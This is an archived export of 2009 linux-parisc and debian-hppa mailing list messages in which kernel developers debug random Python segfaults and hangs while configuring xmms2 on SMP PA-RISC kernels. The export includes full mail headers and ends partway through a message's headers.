References: <119aab440908210843s3018469oe63680871da83685@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250871602 30007 80.91.229.12 (21 Aug 2009 16:20:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 16:20:02 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 18:19:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeWqH-0001l0-Ft
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 18:19:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754622AbZHUQTt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Aug 2009 12:19:49 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754695AbZHUQTt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Aug 2009 12:19:49 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3645 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754622AbZHUQTt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Aug 2009 12:19:49 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 67BA04E7B; Fri, 21 Aug 2009 12:19:49 -0400 (EDT)
In-Reply-To: <119aab440908210843s3018469oe63680871da83685@mail.gmail.com> from "Carlos O'Donell" at Aug 21, 2009 11:43:48 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2061 gmane.linux.debian.ports.hppa:5959
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2061>

> > ./waf configure --nocache --prefix=/usr --with-mandir=/usr/share/man
> > --with-perl-archdir=/usr/lib/perl5 --with-perl-binary=/usr/bin/perl
> > --with-ruby-archdir=/usr/lib/ruby/1.8/hppa-linux
> > --with-ruby-libdir=/usr/lib/ruby/1.8 --without-optionals=python
> > --without-plugins=mac
> >
> > Running the last step on a 2.6.26-1-parisc64-smp kernel results in
> > random behaviour ranging from sigsegv, sigill, sigtrap, and a hang.
> > Given that each of you might run it on a different kernel, I was
> > hoping to see if the behaviour is the same across different kernels.
> 
> On 2.6.31-rc2-00010-g22a5b0c-dirty (kyle's 4 CPU PA8800) I get a hang
> and segfaults, the segfault is reproducible the hang happens every
> once in a while.

Do you have Grant's last patch installed?  Although it's early yet
to say for sure, I think it may have fixed the random segv problem
on gsyprf11 with 2.6.30.5.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Fri, 21 Aug 2009 15:01:42 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <119aab440908211201qe0b96ddg2fdb0b9d8be026d1@mail.gmail.com>
References: <119aab440908210843s3018469oe63680871da83685@mail.gmail.com>
	 <20090821161949.67BA04E7B@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1250881317 29465 80.91.229.12 (21 Aug 2009 19:01:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 19:01:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 21:01:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeZMw-0001st-JX
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 21:01:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932394AbZHUTBn convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Aug 2009 15:01:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932390AbZHUTBn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Aug 2009 15:01:43 -0400
Original-Received: from mail-ew0-f207.google.com ([209.85.219.207]:63805 "EHLO
	mail-ew0-f207.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755707AbZHUTBm convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Aug 2009 15:01:42 -0400
Original-Received: by ewy3 with SMTP id 3so888140ewy.18
        for <linux-parisc@vger.kernel.org>; Fri, 21 Aug 2009 12:01:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=drpWSrk9SGMknDaWSNH7Q0RUaoKDuXFjg2f1o36bZHI=;
        b=Op7KbKOJzc6BP6CrvgC2vhnayI1IVupJpaiZpg3BwF5etth3OL7CDFERIlXvTLl0bY
         hgxl/x4kYLPwBFopyIvR0nj7uvmKBHTh9js2qZ6YIMspzIk/JXUethQOJbTVYRQQoTJ7
         ktyEnby2EK54UGXg7LWJdaAd2VMqAORuTnaSU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=v+7YcOOsgw0lmnO6+u6XZKQ7JtDj/HYE5vYXjICjNLfA9xRNDxerIZUeMsa6LGKKOV
         6MSD9QWgkAs2G9UIo8u6ghWp0TGQz2ljqRkCy0MDqhPp/zD7ZoNczuuclfNEnl/lI7EY
         Cbk8O6HPThJeFyYMjrzO1OzlisksWw0d5fzjs=
Original-Received: by 10.216.0.206 with SMTP id 56mr269163web.102.1250881302879; Fri, 
	21 Aug 2009 12:01:42 -0700 (PDT)
In-Reply-To: <20090821161949.67BA04E7B@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 5464f29a17c53f6a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2062 gmane.linux.debian.ports.hppa:5962
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2062>

On Fri, Aug 21, 2009 at 12:19 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> > ./waf configure --nocache --prefix=3D/usr --with-mandir=3D/usr/sha=
re/man
>> > --with-perl-archdir=3D/usr/lib/perl5 --with-perl-binary=3D/usr/bin=
/perl
>> > --with-ruby-archdir=3D/usr/lib/ruby/1.8/hppa-linux
>> > --with-ruby-libdir=3D/usr/lib/ruby/1.8 --without-optionals=3Dpytho=
n
>> > --without-plugins=3Dmac
>> >
>> > Running the last step on a 2.6.26-1-parisc64-smp kernel results in
>> > random behaviour ranging from sigsegv, sigill, sigtrap, and a hang=
=2E
>> > Given that each of you might run it on a different kernel, I was
>> > hoping to see if the behaviour is the same across different kernel=
s.
>>
>> On 2.6.31-rc2-00010-g22a5b0c-dirty (kyle's 4 CPU PA8800) I get a han=
g
>> and segfaults, the segfault is reproducible the hang happens every
>> once in a while.
>
> Do you have Grant's last patch installed? =A0Although it's early yet
> to say for sure, I think it may have fixed the random segv problem
> on gsyprf11 with 2.6.30.5.

Which patch is this?

Also note that I ran this with LD_BIND_NOW=3D1 to force the dynamic
loader to resolve all relocations before running the program, and it
still crashes.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Fri, 21 Aug 2009 15:30:21 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20090821193022.85A6B4E09@hiauly1.hia.nrc.ca>
References: <119aab440908211201qe0b96ddg2fdb0b9d8be026d1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250883036 1946 80.91.229.12 (21 Aug 2009 19:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 19:30:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 21:30:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeZog-0005Kk-Ll
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 21:30:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753729AbZHUTaX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Aug 2009 15:30:23 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754220AbZHUTaX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Aug 2009 15:30:23 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3669 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753599AbZHUTaW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Aug 2009 15:30:22 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 85A6B4E09; Fri, 21 Aug 2009 15:30:21 -0400 (EDT)
In-Reply-To: <119aab440908211201qe0b96ddg2fdb0b9d8be026d1@mail.gmail.com> from "Carlos O'Donell" at Aug 21, 2009 03:01:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2063 gmane.linux.debian.ports.hppa:5963
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2063>

> >> On 2.6.31-rc2-00010-g22a5b0c-dirty (kyle's 4 CPU PA8800) I get a hang
> >> and segfaults, the segfault is reproducible the hang happens every
> >> once in a while.
> >
> > Do you have Grant's last patch installed? =A0Although it's early yet
> > to say for sure, I think it may have fixed the random segv problem
> > on gsyprf11 with 2.6.30.5.
> 
> Which patch is this?

http://article.gmane.org/gmane.linux.ports.parisc/2047

Since I wrote, I had one segv with 2.6.30.5 in the GCC libjava
testsuite.  However, I think things are improved.  I have managed to
get through most of a GCC build and check with a SMP kernel.

I tried to follow your recipe on gsyprf11, but the source for 0.5
was dounloaded.  I didn't have any trouble with the configure command
with this version.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Fri, 21 Aug 2009 16:15:35 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <119aab440908211315t2c4bc5a3tbe69e2d17a9ee6c1@mail.gmail.com>
References: <119aab440908211201qe0b96ddg2fdb0b9d8be026d1@mail.gmail.com>
	 <20090821193022.85A6B4E09@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1250885757 9937 80.91.229.12 (21 Aug 2009 20:15:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 20:15:57 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 22:15:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MeaWW-0007Bh-JB
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 22:15:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932482AbZHUUPh convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Aug 2009 16:15:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932520AbZHUUPh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Aug 2009 16:15:37 -0400
Original-Received: from mail-ew0-f207.google.com ([209.85.219.207]:46230 "EHLO
	mail-ew0-f207.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932482AbZHUUPf convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Aug 2009 16:15:35 -0400
Original-Received: by ewy3 with SMTP id 3so938572ewy.18
        for <linux-parisc@vger.kernel.org>; Fri, 21 Aug 2009 13:15:36 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=PT4BMEUnIimCyNgKx144dS8IbHOh6+V0TZdsOlOF/xM=;
        b=nWYpOxdor37ct7HgJ3WZG4L6hJPPmL2gTU0iLGPCsevzZKQ2XBgmbhNE53m/BmGY3Y
         bpLevNAK9TW2uKpyGMzBMwg0vxh3FblmT2R9Cbhez3j4QZlkQJMFLdxQZRW/g+87xUSX
         DqzO0dFaS9FktQM3huSLpG9Ebk3Sb2XohbNmA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=kZQSJhMpWPuufzS81WbegjNGKSkuLYHYaR3K+68iX/+qDMIMbT+DyIdW9nCNkm5vCE
         qRn9u1UnuvCoIAvhZd+Ge2Fh0FV7mZxxYs1hJrRXHfHLA7sN9qQfzQtV4U62iWBJeFE6
         c9nGZdFub4SHDZalv1TBwJQ1ZQH5lxY8Vila0=
Original-Received: by 10.216.87.147 with SMTP id y19mr318795wee.12.1250885735593; Fri, 
	21 Aug 2009 13:15:35 -0700 (PDT)
In-Reply-To: <20090821193022.85A6B4E09@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 918d15dda466d817
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2064 gmane.linux.debian.ports.hppa:5964
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2064>

On Fri, Aug 21, 2009 at 3:30 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> >> On 2.6.31-rc2-00010-g22a5b0c-dirty (kyle's 4 CPU PA8800) I get a =
hang
>> >> and segfaults, the segfault is reproducible the hang happens ever=
y
>> >> once in a while.
>> >
>> > Do you have Grant's last patch installed? =3DA0Although it's early=
 yet
>> > to say for sure, I think it may have fixed the random segv problem
>> > on gsyprf11 with 2.6.30.5.
>>
>> Which patch is this?
>
> http://article.gmane.org/gmane.linux.ports.parisc/2047
>
> Since I wrote, I had one segv with 2.6.30.5 in the GCC libjava
> testsuite. =A0However, I think things are improved. =A0I have managed=
 to
> get through most of a GCC build and check with a SMP kernel.
>
> I tried to follow your recipe on gsyprf11, but the source for 0.5
> was dounloaded. =A0I didn't have any trouble with the configure comma=
nd
> with this version.

I should have mentioned you need unstable sources (not unstable debs)
in your sources.list.
e.g. deb-src ftp://ftp.ca.debian.org/debian/ unstable main contrib non-=
free
Does that help?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Fri, 21 Aug 2009 16:58:26 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20090821205827.D0C384E09@hiauly1.hia.nrc.ca>
References: <119aab440908211315t2c4bc5a3tbe69e2d17a9ee6c1@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1250888360 17272 80.91.229.12 (21 Aug 2009 20:59:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Aug 2009 20:59:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 21 22:59:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MebCa-00009L-FY
	for glpp-linux-parisc@lo.gmane.org; Fri, 21 Aug 2009 22:59:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932675AbZHUU63 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 21 Aug 2009 16:58:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S932685AbZHUU63
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 21 Aug 2009 16:58:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3681 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932675AbZHUU63 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 21 Aug 2009 16:58:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id D0C384E09; Fri, 21 Aug 2009 16:58:27 -0400 (EDT)
In-Reply-To: <119aab440908211315t2c4bc5a3tbe69e2d17a9ee6c1@mail.gmail.com> from "Carlos O'Donell" at Aug 21, 2009 04:15:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2065 gmane.linux.debian.ports.hppa:5965
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2065>

> I should have mentioned you need unstable sources (not unstable debs)
> in your sources.list.
> e.g. deb-src ftp://ftp.ca.debian.org/debian/ unstable main contrib non-free
> Does that help?

Yes.  segvs and hangs on gsyprf11.  Think the hangs occur when
rerunning configure.  I looked at one segv and it appeared r19
was corrupt causing a branch to never-never-land.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Sun, 23 Aug 2009 16:52:21 -0400 (EDT)
Lines: 43
Approved: news@gmane.org
Message-ID: <20090823205222.BB7894E09@hiauly1.hia.nrc.ca>
References: <119aab440908210759g5cdc0f8dwbf1fed9554b3a836@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251060762 5440 80.91.229.12 (23 Aug 2009 20:52:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Aug 2009 20:52:42 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 23 22:52:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MfK39-0001r1-OD
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 Aug 2009 22:52:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752724AbZHWUwY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Aug 2009 16:52:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753566AbZHWUwY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Aug 2009 16:52:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3812 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751738AbZHWUwX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 23 Aug 2009 16:52:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id BB7894E09; Sun, 23 Aug 2009 16:52:22 -0400 (EDT)
In-Reply-To: <119aab440908210759g5cdc0f8dwbf1fed9554b3a836@mail.gmail.com> from "Carlos O'Donell" at Aug 21, 2009 10:59:18 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2066 gmane.linux.debian.ports.hppa:5970
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2066>

> Kyle, Helge, John, James,
> 
> Could I get each of you to follow this recipe and tell me if python
> crashes or hangs randomly during the execution of the last step?
> 
> Recipe:
> mkdir -p ~/python-test
> cd ~/python-test
> apt-get update
> apt-get build-dep xmms2
> apt-get source xmms2
> cd xmms2_0.6DrMattDestruction
> ./waf configure --nocache --prefix=/usr --with-mandir=/usr/share/man
> --with-perl-archdir=/usr/lib/perl5 --with-perl-binary=/usr/bin/perl
> --with-ruby-archdir=/usr/lib/ruby/1.8/hppa-linux
> --with-ruby-libdir=/usr/lib/ruby/1.8 --without-optionals=python
> --without-plugins=mac
> 
> Running the last step on a 2.6.26-1-parisc64-smp kernel results in
> random behaviour ranging from sigsegv, sigill, sigtrap, and a hang.
> Given that each of you might run it on a different kernel, I was
> hoping to see if the behaviour is the same across different kernels.

I ran the apt-get though configure commands several times with no
failures on "Linux mx3210 2.6.30.5 #7 Wed Aug 19 17:31:54 EDT 2009 parisc64".
So, it looks like the problem is SMP specific.  Same kernel with SMP
config on gsyprf11 resulted in random segs and hangs.  The hangs
may depend on the presence of cached data used by configure.

I booted 2.6.30.5 from gsyprf11 because I had one random segv and
one command hang while running the GCC testsuite.  I suspect that some
hangs are due to dropped signals.  I'm tempted to try the sequence
with 2.6.22.19.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Reproducible random python crash.
Date: Sun, 23 Aug 2009 17:21:15 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <20090823212115.E00014E7A@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1251062489 10077 80.91.229.12 (23 Aug 2009 21:21:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 23 Aug 2009 21:21:29 +0000 (UTC)
Cc: carlos@systemhalted.org, linux-parisc@vger.kernel.org,
	debian-hppa@lists.debian.org,
	James.Bottomley@hansenpartnership.com, dave.anglin@nrc-cnrc.gc.ca,
	deller@gmx.de, kyle@mcmartin.ca
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 23 23:21:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MfKV5-00045M-I2
	for glpp-linux-parisc@lo.gmane.org; Sun, 23 Aug 2009 23:21:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755939AbZHWVVP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 23 Aug 2009 17:21:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755940AbZHWVVP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 23 Aug 2009 17:21:15 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3824 "EHLO
